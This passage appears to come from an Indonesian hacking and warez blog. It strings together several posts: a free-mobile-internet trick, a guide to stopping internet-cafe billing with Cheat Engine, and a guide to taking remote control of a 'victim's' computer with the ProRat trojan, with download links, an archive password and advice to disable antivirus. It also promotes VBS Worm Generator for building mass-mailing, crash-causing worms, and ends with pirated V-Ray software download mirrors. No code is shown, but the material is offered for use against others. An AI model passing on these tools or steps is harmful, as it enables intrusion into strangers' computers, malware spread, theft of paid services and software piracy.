Trus langkah selanjutnya Copy software tsb ke MMC / kalau tidak support MMC bisa pakai kabel data, lalu install software tsb melalui HP anda, Restart HP, dan langsung bisa dijalankan,,,

setelah saya coba pribadi ternyata bisa internetan gratis tanpa terpotong pulsa, tapi tips kali ini biasanya bisa dicoba sekitar jam 20.00 sampai jam 08.00 Pagi, Lumayan lah. \waktu itu saya pernah mencoba pada jam - jam kerja, ternyata bisa juga,, hehehegz lumayan lah.

untuk Operator yang belum saiia sebutkan diatas, Tunggu yia di postingan saya selanjutnya, inovasi bakal tiada henti

Semoga artikel ini masih bisa digunakan saat anda membaca postingan ini.
Selamat Mencoba.
Kalau mau ada yang di tanyakan ataupun ingin menambahi, silahkan tulis pada kotak komentar, mari kita berinteraksi.

Salam Blogger Mania
Belajar, Berusaha dan Berdoa

HACK BILLING WARNET(INTERNET GRATIS DI WARNET TANPA BATAS

ini adalah trik untuk menghentikan billing yang biasa ada diwarnet.
bisa dilambatin sma bisa diberhentiin .

pakai Cheat Engine v5.3 
download disini .
untuk tutorialnya .
cyberbilling-ray16 Url:

http://www.indowebster.com/cyberbillingray16.html
ini adalah trik untuk menghentikan billing yang biasa ada diwarnet.
bisa dilambatin sma bisa diberhentiin .

pakai Cheat Engine v5.3 
download disini .
untuk tutorialnya .
cyberbilling-ray16 Url:
http://www.indowebster.com/cyberbillingray16.html

Me-Remote komputer orang dengan Software PRORAT

Meremote komputer, inilah yang sangat digemari oleh orang awam seperti saya ini.
Meremote komputer disini maksudnya adalah mengendalikan komputer jarak jauh dengan komputer yang berbeda. Jadi kita bisa melakukan aktivitas untuk menggunakan mouse dan keyboard dengan lokasi komputer yang berbeda. Misalnya Anda ingin mengendalikan komputer kantor dari komputer/laptop di rumah hanya dengan koneksi internet.

yang dibutuhkan, hanyalah :


1. tool Advanced Ports Scanner
tool ini hanya dibutuhkan untuk mengetahui alamat IP dan Port sang korban.
Download aja disini:http://www.radmin.com/products/utilities/portscanner.php

2. tool Prorat
aplikasi inilah yang bisa digunakan untuk meremote komputer orang lain.
kunjungi disitus resminya 
http://www.prorat.net
uNTUK tool ini bisa anda download di:http://www.prorat.net/downloads.php?id=ProRat_v1.9_Fix2%28ZipPass:pro%29
Password Rar: pro
ebelumnya dimatikan dulu Anti Virus kamu (disable) untuk menggunakan tool ProRat ini,
karena ProRat akan terdeteksi sebagai virus. Padahal dia tidak berbahaya bagi
komputer kita.

untuk cara menggunakannya.
mungkin saya tidak menerangkannya disini, karena kenapa?
karena seharusnya anda download dahulu e-book cara menggunakan aplikasi / tool ProRat ini yang saya dapatkan dari
ilmukomputer.org dari pembuat aslinya yang menerapkan trik ini.
Anda bisa download e-book di:http://ilmukomputer.org/2009/06/13/hacking-with-prorat
SELAMAT MENCOBA.....

VBS Worm Generator (Software Pembuat Virus Worm)

kamu pasti tau kan virus worm?? ah, masak sih kamu gak kenal..?? oO.. bleum kenalan ya.. wkwkwkwk.. pantesan. okelah, kita bahas sedikit tentang virus worm ya.? dikit aja.. jangan banyak-banyak. beberapa waktu yang lalu virus worm sempat menghebohkan tampilan awal program Vbs WGinternet. virus ini juga menginfeksi windows beserta outlook express nya, dan akan mengirim sendiri pesan virus keseluruh email yang terdapat pada address book. widih.. serem juga ya.?? tapi menarik.. hehehe..

jadi kepingin buat virus worm nih. hmm.. sebenernya membuat virus worm semacam itu kita tidak harus menjadi seorang programer handal. cukup bisa make komputer dan punya programnya.. baca aja sampe habis ya, entar gue kasi deh software nya. :)
program ini di buat oleh seorang hacker dari Agrentina, pada waktu itu umur nya berusia 18 tahun. wih.. hebat.!! dengan program ini kamu bisa membuat virus yang sama dahsyatnya dengan virus buatan Anna Kournikova, cuma klik sana-sini doank.. untuk nama programnya yaitu VBS Worm Generator..

program ini memungkinkan kamu untuk membuat worm dengan nama sesuka kamu. Kamu juga bisa memilih efek dari worm tersebut, seperti misalnya menampilkan pesan atau memaksa seseorang untuk menuju situs tertentu. Akibat yang paling parah tentunya jika worm tersebut kamu setting supaya membikin crash komputer. jangan brutal deh lo.. kasihan kompi orang.. hehehe..

untuk kemampuan lain dari program ini adalah melakukan enkripsi terhadap source code worm yang dibuat. kemampuan-kemampuan lainnya bisa kamu coba sendiri deh. Pokoknya program ini lumayan hebatlah.

dan perlu di ingat, si pembuat VBS Worm Generator ini punya amanat buat kita semua.. "VBS Worm Generator hanya boleh di gunakan untuk belajar, bukan untuk merugikan orang lain." paham..??? hehehe..


LinK YANG BARU:http://www.ziddu.com/download/8999214/Vbswg2BFix.zip.html

VRAY V1.2.5 for CINEMA4D Windows/MacOSX | 407 MB

VRAY V1.2.5 for CINEMA4D Windows/MacOSX

RAYforC4D is the new ultra high end render engine for Cinema4d.
It brings the same outstanding quality and unsurpassed speed to Cinema4d as it is well known from the famous VRay for 3dmax 1.5 SP3.

It is natively running direct inside of the Cinema4d interface and is able to use the great native Cinema 4d procedurals shading system, lights, objects and cameras. Even most third party shaders and textures are supported.

VRAYforC4D can render imported CAD files as well as native cinema4d geometry. Mograph is supported, MAXON Hair can be directly rendered in geometry mode, Thinking Particles as well as all other cinema4d objects.

VRAYforC4D renders directly in the view port and also in the native Maxon Picture viewer, it can render regions, also in full size, and i can render via the maxon NET render system at no extra cost. the VRAY rendernodes for NET come free to each license. Therefore with only one license one can render a whole animation on a NET render farm.

VRAYforC4D has all physical calculations and properties. The multilayered BSDF / BRDF Materials, Photometric lights, IES lights, and the special schlick sampling core enable VrayforC4D to simulate perfectly realistic materials, lights and images. at the same time it still lets enough control and room for the artist to bend the rules of reality to not limit the artist imagination.

The famous VRAYforC4D "Physical Workflow" enables users to achieve stunning results in minimal setup time. you can yet your materials and they will look real in each rendering, lights and surfaces behave like you are used to from reality. the tool is not only perfect for architectural visualisation but also for photographers, designers, 3d artist, TV ads and animation.

Feature Overview:

* >> special unified render and sampling core engine based on the "schlick" system, fully multithreaded
* >> efficient physical BRDF / BSDF shading System producing realworld surfaces
* >>3 high level anti aliasing engines for choice: Adaptive DMC, Adaptive subdivision, fixed sampler, with several special filter algorithms for various and adaptable AA methods.
* >> photometric lights with full physical properties, IES Lights, Physical HDRI dome lights. Light intensities are calculated like in reality and are calibrated to interact like fully correct with the Vray BRDF materials.
* >> highly realistic physical Global Illumination in several flavours, they can be combined freely:
* BR_”bruteforce”: Montacarlo like GI based on the more efficient “Schlick” sampling, very fast with highquality in combination with Lightchache
* IR_Irradiance Map: the very efficient original Vray Irradiance map, it is the fastest of its kind and offers several modes for all kinds of flicker free animations and stills, it is fully cache-able, save able and reusable. special modes to render camera animation GI in one single frame for the whole animation path. Vray IR is now fully volumetric!
* LC_Lightcache: ultra fast GI engine only available in Vray, it delivers an accurate preview of the final image within seconds. it also delivers unlimited(!) light passes for extreme efficient light transport in the most difficult areas like no other engines, fully multi threaded. special mode to render whole LC GI for animation in one single frame.
* >> Physical Sun & Sky system, can be freely mixed with HDRI and/ or sky images enabled ultra fast setup of outdoor and indoor scenes. the atmosphere is calibrated my scientific measure. the atmosphere behaviour is adjustable.
* >> Physical and special Camera system: Vrays cameras offer all kinds of lenses, from pinhole like c4d to real physical lenses, fish eye and other adjustable distortions. even a 360 degree dome camera is available for special effects. the camera is fully editable like a real camera, with ISO, f stop, shutter speed, physical Depth of Field(DOF) and motion blur. each cienma4d camera can be easy transformed into a full physical Vray camera. the camera can be white balance adjusted with presets(d65, 75,96,..) and custom values.
* >> special Vray Multi layered BRDF material, with physical fast SSS2 and true volume transparency. includes fast and physical correct IOR values and true texture controllable anisotropic reflections. special materials like the 2 sided materials for extreme fast thin SSS and translucency or the blend material which enables you to blend, mix and combine Vray materials to one more complex one.
* >> support for 99% of the cinema4d native shaders, like the noise, layer, fresnel, falloff, hdri, filter, tiles shaders, even most third party shaders work.
* >> very deep control in vray render settings / Very asy to use presets in GI settings for fast start.
* powerfully vray compositing tag, with special shadow, reflection and GI matte capabilities. easy composite an object on a backdrop image.
* intelligent override system, that lest you exclude special materials from override. this is perfect for lighting a model in clay mode and still have realistic glas and transparency p.e.
* light include / exclude system
* powerful and fully adjustable tone mapping control (with “reinhard” tone mapping)
* free material sharing site with many free usable BRDF materials ready to use.
* free Vray learning scenes, made by Vray professionals for easy learning
* active support forum for sharing knowledge and exchange ideas with other vray users from all over the world, and for getting direct contact with the VRAYforC4D makers.
* ALL coming updates until version 2.0 are freely included for all registered customers.
* free unlimited(!) Vray NET render nodes are also included( for use with Maxon NET)
          NI LINK NYA

Download from [Hotfile.com]
http://hotfile.com/dl/67166534/d3ce18d/VRAY_V1.2.5.part1.rar.html
http://hotfile.com/dl/67167815/cd17ce4/VRAY_V1.2.5.part2.rar.html
===========

Mirror [Fileserve.com]

http://www.fileserve.com/file/GR673SU/VRAY_V1.2.5.part1.rar
http://www.fileserve.com/file/VUWgVVG/VRAY_V1.2.5.part2.rar
http://www.fileserve.com/file/uynpKBB/VRAY_V1.2.5.part3.rar

Mirror [Uploading.com]

http://uploading.com/files/6d68e756/VRAY_V1.2.5.part3.rar/
http://uploading.com/files/6a9am71m/VRAY_V1.2.5.part2.rar/
http://uploading.com/files/fc12cm4d/VRAY_V1.2.5.part1.rar/

=======================================================